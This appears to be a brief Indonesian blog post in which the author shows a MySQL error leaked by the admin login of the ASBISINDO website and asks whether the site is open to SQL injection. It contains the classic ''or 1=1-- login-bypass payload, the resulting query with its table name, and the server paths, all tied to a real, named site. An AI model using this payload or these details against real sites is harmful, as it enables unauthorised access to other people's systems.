ASBISINDO (SQL Injection)

Sebelumnya saya meminta maaf kepada bapak admin web tersebut dan maaf atas kelancangan saya ini. Saya hanya cuman lagi lewat2 website tsb dan menemukan hal ini :

InternalError

ADODB_Exception: mysql error: [1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1] in EXECUTE("SELECT * FROM sb_members WHERE email='admin' AND pwd=md5(''or 1=1--')")

#0 /home/asbsindo/public_html/framework/Data/adodb/adodb.inc.php(874): adodb_throw('mysql', 'EXECUTE', 1064, 'You have an err...', 'SELECT * FROM s...', false, Object(ADODB_mysql))

#11 /home/asbsindo/public_html/framework/TApplication.php(483): TPage->execute()
#12 /home/asbsindo/public_html/admin/index.php(5): TApplication->run()
#13 {main}

Sayapun kurang tau maksud dari perintah diatas dan apa web tsb bisa di SQL Injection yah ? mohon maaf nih saya memang kurang paham dunia tsb, hehehee piss
